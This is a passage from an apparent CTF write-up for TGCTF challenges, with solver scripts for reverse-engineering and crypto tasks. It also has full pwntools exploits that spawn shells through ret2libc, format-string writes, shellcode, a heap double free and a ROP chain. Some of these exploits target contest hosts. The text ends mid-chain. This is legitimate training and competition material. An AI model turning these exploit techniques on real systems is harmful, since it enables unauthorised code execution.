((((1323 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 666 * i11i1Iii1I1[5] + 666 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 660 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 100 * i11i1Iii1I1[12] + 777 * i11i1Iii1I1[13] + 2500 * i11i1Iii1I1[14] + 6666 * i11i1Iii1I1[15] + 605 * i11i1Iii1I1[16] + 390 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 9999 * i11i1Iii1I1[20] + 210 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] == 1551621,
(((((777 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 6969 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 666 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 100 * i11i1Iii1I1[12] + 777 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + 65 * i11i1Iii1I1[16] + 90 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 999 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26] == 948348,
((((((97 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 6969 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 56 * i11i1Iii1I1[4]) + 96 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 90 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 2 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] == 777044,
(((((177 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 699 * i11i1Iii1I1[2] + 64 * i11i1Iii1I1[3] - 56 * i11i1Iii1I1[4] - 96 * i11i1Iii1I1[5] - 66 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 69 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 222 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 224 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] - 28 * i11i1Iii1I1[28] == 185016,
((((((77 * i11i1Iii1I1[0] - 2 * i11i1Iii1I1[1]) + 6 * i11i1Iii1I1[2] + 6 * i11i1Iii1I1[3] - 96 * i11i1Iii1I1[4] - 9 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 0 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 9 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 222 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 224 * i11i1Iii1I1[24]) + 26 * i11i1Iii1I1[25] - -58 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] - 2 * i11i1Iii1I1[28]) + 29 * i11i1Iii1I1[29] == 130106]


for i in ii1iIi1i11i:
s.add(i)

res =""
if s.check() == sat:
for i in range(30):
res += chr(s.model()[i11i1Iii1I1[i]].as_long())
print(res)

tab = dict()
for i in range(0,len(res),2):
if res[i+1] == '1': continue
tab[res[i+1]] = res[i]
print(tab)

m = "111111116257645365477364777645752361"
flag = "HZNUCTF{"
for i in m:
if i == '1': continue
flag += tab[i]
flag+='}'
print(flag)
1
HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}

水果忍者

AES加密

image

image

image

randomsystem

大概逻辑就是矩阵操作,动调拿到密钥和盒解密一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import numpy as np
xor=[[0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000],
[0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001],
[0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000001, 0x00000000],
[0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000001],
[0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000],
[0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001],
[0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000001],
[0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001]]
pw=[[0x00000178, 0x00000164, 0x000000A9, 0x000001F5, 0x00000115, 0x00000149, 0x0000008B, 0x00000156],
[0x0000017C, 0x0000016D, 0x000000A2, 0x00000102, 0x0000017D, 0x00000153, 0x0000015B, 0x00000133],
[0x00000107, 0x00000167, 0x000000A2, 0x000001E4, 0x00000136, 0x0000014D, 0x0000015A, 0x00000153],
[0x00000096, 0x000000C2, 0x000000AF, 0x00000158, 0x0000009E, 0x000000FA, 0x00000080, 0x000000AF],
[0x0000009E, 0x000000AD, 0x00000098, 0x0000017B, 0x0000009E, 0x00000124, 0x00000082, 0x0000016D],
[0x000000C5, 0x00000014, 0x000000C5, 0x000000A1, 0x000000C6, 0x0000000A, 0x000000CF, 0x000000F4],
[0x000000CA, 0x0000000E, 0x000000CC, 0x000000B0, 0x000000C1, 0x000000FF, 0x00000023, 0x00000007],
[0x0000009E, 0x000000B5, 0x00000091, 0x00000161, 0x00000099, 0x00000165, 0x000000F6, 0x00000097]]
key='ReVeReSe'


for i in range(8):
for j in range(8):
pw[i][j]=pw[i][j]^ord(key[j])
# print(pw[i],end=',')

B = np.array(xor)
C = np.array(pw)
# print(C)
B_inv = np.linalg.inv(B)
# print(B_inv)
A = np.dot(B_inv,C)

A_i=[]
for i in range(8):
for j in range(8):
A_i.append(int(A[i][j]))
# print(A_i)

table=[0x0000001B, 0x0000001A, 0x00000019, 0x00000017, 0x0000001C, 0x00000001, 0x00000006, 0x0000000A,
0x00000014, 0x00000007, 0x0000000F, 0x0000000E, 0x0000001F, 0x00000012, 0x00000013, 0x00000015,
0x00000009, 0x0000001E, 0x00000016, 0x00000018, 0x00000008, 0x00000002, 0x0000001D, 0x00000003,
0x0000000C, 0x0000000B, 0x00000011, 0x00000010, 0x00000000, 0x0000000D, 0x00000005, 0x00000004]

for i in range(32):
A_i[i],A_i[63-table[i]]=A_i[63-table[i]],A_i[i]

for i in range(64):
print(chr(A_i[i]),end='')
#3zfb899ac5c256d-7a8r59f0tccd-4fa6b8vfd111-a44ffy4r0-6dce5679da58

exchange

image

魔改des,神秘表,0改1,1改0,推出逆表,再把密文patch回去出原文

333936147332632923d96353321d3345636826d26314621d3349330463126348

1
2
3
4
5
6
7
8
9
10
import binascii
w_flag='333936147332632923d96353321d3345636826d26314621d3349330463126348'
flag=''
for i in range(0,len(w_flag),4):
flag+=w_flag[i+0]
flag+=w_flag[i+2]
flag+=w_flag[i+1]
flag+=w_flag[i+3]
print(binascii.unhexlify(flag))
#391ds2b9-9e31-45f8-ba4a-4904a2d8

Crypto:

宝宝RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from gmpy2 import *

p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322
n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
e2 = 3

phi1 = (p1-1)*(q1-1)
for e in range(2**18):
if GCD(phi1,e) == 1:
d1 = invert(e,phi1)
m1 = pow(c1,d1,p1*q1)
flag = long_to_bytes(m1)
if b'TGCTF' in flag:
print(flag)
print(e)

k = 0
while True:
res = gmpy2.iroot(c2 + k * n2, e2)
if res[1]:
print(long_to_bytes(int(res[0])))
break
k += 1


'''
b'TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}'
261713
m@ll_But_D@ng3r0}
'''

费克特尔

image

TGCTF{f4888_6abdc_9c2bd_9036bb}

tRwSiAns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
import hashlib

n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814

def hash(x):
return int(hashlib.md5(str(x).encode()).hexdigest(), 16)

def franklinReiter(n,e,c1,c2):
PR.<x> = PolynomialRing(Zmod(n))
f1 = (x + hash(307))^e - c1
f2 = (x + hash(7))^e - c2

def gcd(f1,f2):
while f2:
f1 , f2 = f2 , f1 % f2
return f1.monic()
return -gcd(f1,f2)[0]

m=franklinReiter(n,e,c1,c2)
print(long_to_bytes(int(m)))
# TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}

mm不躲猫猫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
import hashlib
import gmpy2

n_list = []
c_list = []

e = 65537

with open('challenge.txt', 'r') as f:
lines = f.readlines()

i = 0
while i < len(lines):
line = lines[i].strip()
if line.startswith('n = '):
n_value = int(line.split(' = ')[1])
c_line = lines[i + 1].strip()
if c_line.startswith('c = '):
c_value = int(c_line.split(' = ')[1])
n_list.append(n_value)
c_list.append(c_value)
i += 2 # 跳过已处理的两行
else:
print(f"Expected 'c = ' after 'n = ', but got: {c_line}")
break
else:
i += 1

for i in range(len(n_list)):
for j in range(len(n_list)):
p = GCD(n_list[i],n_list[j])
if p != 1 and i != j and isPrime(p):
print(p)
print(f'i = {i}')
print(f'j = {j}')

p = 8966982846196321583218732818156212338929358106653027903288099594075033180211918114777730737751247653195936571427074856051307498770294940971178276714212171
i = 58
j = 59

c = c_list[59]
d = gmpy2.invert(e,p-1)
m = pow(c,d,p)
print(long_to_bytes(m))
# TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}

AAAAAAAA·真·签到

偏移量是1 0 -1 -2 -3……

根据偏移量移动flag,得到flag:TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

🇪🇿🇷🇸🇦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *

def find_root(p,e,c):
g=GCD(e, p-1)
e=e//g
mg=pow(c, inverse(e, p-1),p)
R.<x>=Zmod(p)[]
f=x^g-mg
return f.roots()

p0 = '😘😾😂😋😶😾😳😷'
n = 156583691355552921614631145152732482393176197132995684056861057354110068341462353935267384379058316405283253737394317838367413343764593681931500132616527754658531492837010737718142600521325345568856010357221012237243808583944390972551218281979735678709596942275013178851539514928075449007568871314257800372579
c = 47047259652272336203165844654641527951135794808396961300275905227499051240355966018762052339199047708940870407974724853429554168419302817757183570945811400049095628907115694231183403596602759249583523605700220530849961163557032168735648835975899744556626132330921576826526953069435718888223260480397802737401

print(bytes_to_long('😘'.encode()))
e = "💯"
e=bytes_to_long(e.encode())
for pp in range(4036991100,4036991100+50):
R.<x>=Zmod(n)[]
f=x*2**288+bytes_to_long(long_to_bytes(pp)+p0.encode())
f=f.monic()
roots=f.small_roots(X=2^224,beta=0.4)
if roots:
f=x*2**288+bytes_to_long(long_to_bytes(pp)+p0.encode())
p=int(f(roots[0]))
q=n//p
res1=find_root(p, e, c)
res2=find_root(q, e, c)
for i in res1:
for j in res2:
m=crt([int(i[0]),int(j[0])],[p,q])
m=long_to_bytes(int(m))
if b'TGCTF' in m:
print(m.decode())
# TGCTF{🙇🏮🤟_🫡🫡🫡_🚩🚩🚩}

LLLCG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from pwn import *
import gmpy2


class TripleLCG:
def __init__(self, seed1, seed2, seed3, a, b, c, d, n):
self.state = [seed1, seed2, seed3]
self.a = a
self.b = b
self.c = c
self.d = d
self.n = n

def next(self):
new = (self.a * self.state[-3] + self.b * self.state[-2] + self.c * self.state[-1] + self.d) % self.n
self.state.append(new)
return new

class DSA:
def __init__(self):
# while True:
# self.q = getPrime(160)
# t = 2 * getPrime(1024 - 160) * self.q
# if isPrime(t + 1):
# self.p = t + 1
# break
self.p = dsa_p
self.q = dsa_q
self.g = pow(2, (self.p - 1) // self.q, self.p)
self.x = randint(1, self.q - 1)
self.y = pow(self.g, self.x, self.p)

def sign(self, msg, k):
h = bytes_to_long(sha256(msg).digest())
r = pow(self.g, k, self.p) % self.q
s = (inverse(k, self.q) * (h + self.x * r)) % self.q
return (r, s)

def verify(self, msg, r, s):
if not (0 < r < self.q and 0 < s < self.q):
return False
h = bytes_to_long(sha256(msg).digest())
w = inverse(s, self.q)
u1 = (h * w) % self.q
u2 = (r * w) % self.q
v = ((pow(self.g, u1, self.p) * pow(self.y, u2, self.p)) % self.p) % self.q
return v == r

io = remote('node1.tgctf.woooo.tech',32052)

primes = [59093, 65371, 37337, 43759, 52859, 39541, 60457, 61469, 43711]
io.recvline()
io.recvline()
data = io.recvline().strip().split(b' ')

p = int(data[2][:-1])
q = int(data[5][:-1])
g = int(data[8][:-1])
y = int(data[11][:-1])

print(f'p = {p}')
print(f'q = {q}')
print(f'g = {g}')
print(f'y = {y}')


io.recvuntil(b'[-] ')
io.sendline(b'1')

ks_p = []
rs = []

for _ in range(12):
io.recvuntil(b'[-] ')
io.sendline(b'1')
data_ = io.recvline().strip().split(b' ')
r = int(data_[2][:-1])
rs.append(r)
ks = eval(b''.join([data_[i] for i in range(5,14)]))
ks_p.append(ks)

kv = []
for res in ks_p:
k,_ = crt(primes,res)
kv.append(k)

print(f'kv = {kv}')

delta = []
for i in range(1,len(kv)):
delta.append(kv[i]-kv[i-1])


M = Matrix(ZZ,[[delta[0],delta[1],delta[2]],
[delta[1],delta[2],delta[3]],
[delta[2],delta[3],delta[4]]])

A = Matrix(ZZ,[delta[3],delta[4],delta[5]])

res = M.solve_left(A)
a,b,c = res.list()


def compute_diff(a, b, c, delta_prev3, delta_prev2, delta_prev1, delta_current):
delta_pred = a * delta_prev3 + b * delta_prev2 + c * delta_prev1
return delta_pred - delta_current

diffs = []
for i in range(7, 11):
delta_prev3 = kv[i-2] - kv[i-3]
delta_prev2 = kv[i-1] - kv[i-2]
delta_prev1 = kv[i] - kv[i-1]
delta_current = kv[i+1] - kv[i]
diff = compute_diff(a, b, c, delta_prev3, delta_prev2, delta_prev1, delta_current)
diffs.append(abs(diff))

n_candidate = gcd(diffs)
print("候选 n:", n_candidate)

n = int(str(n_candidate)[:str(n_candidate).index('/')])
print(isPrime(n))
d = (kv[3] - a * kv[0] - b * kv[1] - c * kv[2])%n
print(f'n = {n}')
print(f'a = {a}')
print(f'b = {b}')
print(f'c = {c}')
print(f'd = {d}')

print((a * kv[2] + b * kv[3] + c * kv[4]+d)%n == kv[5])

lcg = TripleLCG(kv[-3], kv[-2], kv[-1], a, b, c, d, n)

io.recvuntil(b'Part 2\n')


for _ in range(307):
print(_)
k = lcg.next()

r_list = []
s_list = []
for i in range(10):
io.recvuntil(b'[-] ')
io.sendline(b'2')
data = io.recvline().strip().split(' ')
r_list.append(int(data[3][:-1]))
s_list.append(int(data[6]))

msg = b'1'
h = bytes_to_long(sha256(msg).digest())
k = lcg.next()
x = ((s_list[0]*k-h)*inverse(r_list[0],q)) % q

msg1 = b"1"
h1 = bytes_to_long(sha256(msg1).digest())
k1 = lcg.next()
x1 = ((s_list[1] * k1 - h1) * inverse(r_list[1], q)) % q
assert x == x1

final_msg = b'2'
h_ = bytes_to_long(sha256(final_msg).digest())
k_ = 1
r_final = pow(g,k_final,p)%q
s_final = ((h_+x*r_final)*inverse(k_final,q))%q

io.recvuntil(b'Part 2\n')
io.recvuntil(b'[-] ')

io.recvuntil(b'[-] ')
io.sendline(str(r_final))

io.recvline(b'[-] ')
io.sendline(str(s_final))
# TGCTF{aa8eddd9-df36-1d2c-66b8-f8370013f4cf}

Pwn:

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

pop_rdi_ret = 0x0000000000401176

def main():
ru(b'name.\n')
pay = b'a'*0x78 + fit(pop_rdi_ret, elf.got['puts'], elf.plt['puts'], elf.sym['main'])
sl(pay)

libc.address = u64(ru(b'\x7f')[-6:] + b'\x00\x00') - libc.sym['puts']
log('libc', libc.address)

ru(b'name.\n')
pay = b'a'*0x78 + fit(pop_rdi_ret + 1, pop_rdi_ret, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
sl(pay)

io()
if __name__ == '__main__':
main()

fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

magic = 0x404010

def main():
ru(b'gift ')
buf_addr = int(ru(b'\n', drop=True), 16)
target = buf_addr - 0x8
ret_addr = buf_addr + 0x68
log('buf', buf_addr)

pay = f'%19$p%{0x31-14}c%8$hhn'.encode().ljust(0x10, b'a')
pay += p64(target)
sa("name\n", pay)

libc.address = int(p.recvn(14), 16) - 0x24083
one = libc.address + 0xe3b01
log('libc', libc.address)

pay = f'%{0x31}c%10$hhn%{(one & 0xffff) - 0x31}c%11$hn'.encode().ljust(0x20, b'a')
pay += p64(target) + p64(ret_addr)
sa("name\n", pay)

pay = f'%{0x31}c%10$hhn%{((one >> 16) & 0xffff) - 0x31}c%11$hn'.encode().ljust(0x20, b'a')
pay += p64(target) + p64(ret_addr + 2)
sa("name\n", pay)

# gdb.attach(p, "b *0x401299")
sa(b'name\n', b'win\x00')


io()
if __name__ == '__main__':
main()

stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = 'node1.tgctf.woooo.tech'
port = '30393'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def main():
ru(b'name?\n')
pay = b'\x00'*0x40 + fit(0x3b, 0x404108, 0, 0)
s(pay)

ru(b'say?\n')
pay = b'\x00'*0x40 + fit(0x404060, 0)
# gdb.attach(p, "b *0x401229")
s(pay)


io()
if __name__ == '__main__':
main()

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = 'node2.tgctf.woooo.tech'
port = '31114'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def main():
ru(b'strength \n')

shellcode = asm('''
mov al, 0x3b
add rdi, 10
syscall
''')

pay = shellcode.ljust(10, b'\x90') + b'/bin/sh'
# gdb.attach(p, "b *$rebase(0x1212)")
s(pay)


io()

if __name__ == '__main__':
main()

heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = 'node1.tgctf.woooo.tech'
port = '31060'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b'> ', str(idx))

def add(size, data):
cmd(1)
sla(b'> ', str(size))
sa(b'> ', data)

def delete(idx):
cmd(2)
sla(b'> ', str(idx).encode())

def edit(data):
cmd(3)
sa(b'> ', data)

fake_addr = 0x6020c0

def main():
pay = fit(0, 0x61)
pay += b'\x00'*0x80 + fit(0, 0x21, b'\x00'*0x10) + fit(0, 0x21)
sa(b'> ', pay)

add(0x50, b'a')# 0
add(0x50, b'a')# 1

delete(0)
delete(1)
delete(0)

add(0x50, p64(fake_addr))# 2
add(0x50, b'a')# 3 & 1
add(0x50, b'a')# 4

add(0x50, b'a')# 5 & fake

edit(fit(0, 0x91))

delete(5)

edit(b'a'*0x10)

ru(b'a'*0x10)
libc.address = u64(ru(b'!', drop=True).ljust(8, b'\x00')) - 0x3c4b78
ones = [0x4527a, 0xf03a4, 0xf1247]
log('libc', libc.address)

edit(fit(0, 0x91))

add(0x60, b'a')# 6
delete(6)

edit(fit(0, 0x71, libc.sym.__malloc_hook - 0x23))
add(0x60, b'a')
add(0x60, b'\0'*0x13 + p64(libc.address + ones[2]))

cmd(1)
sla(b'> ', str(0x50))
# gdb.attach(p)
# pause()

io()

if __name__ == '__main__':
main()

overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from struct import pack
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = 'node2.tgctf.woooo.tech'
port = '30268'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

name_addr = 0x80EF320

def main():
p1 = b''
p1 += pack('<I', 0x08060bd1) # pop edx ; ret
p1 += pack('<I', 0x080ee060) # @ .data
p1 += pack('<I', 0x080b470a) # pop eax ; ret
p1 += b'/bin'
p1 += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x08060bd1) # pop edx ; ret
p1 += pack('<I', 0x080ee064) # @ .data + 4
p1 += pack('<I', 0x080b470a) # pop eax ; ret
p1 += b'//sh'
p1 += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x08060bd1) # pop edx ; ret
p1 += pack('<I', 0x080ee068) # @ .data + 8
p1 += pack('<I', 0x080507e0) # xor eax, eax ; ret
p1 += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x08049022) # pop ebx ; ret
p1 += pack('<I', 0x080ee060) # @ .data
p1 += pack('<I', 0x08049802) # pop ecx ; ret
p1 += pack('<I', 0x080ee068) # @ .data + 8
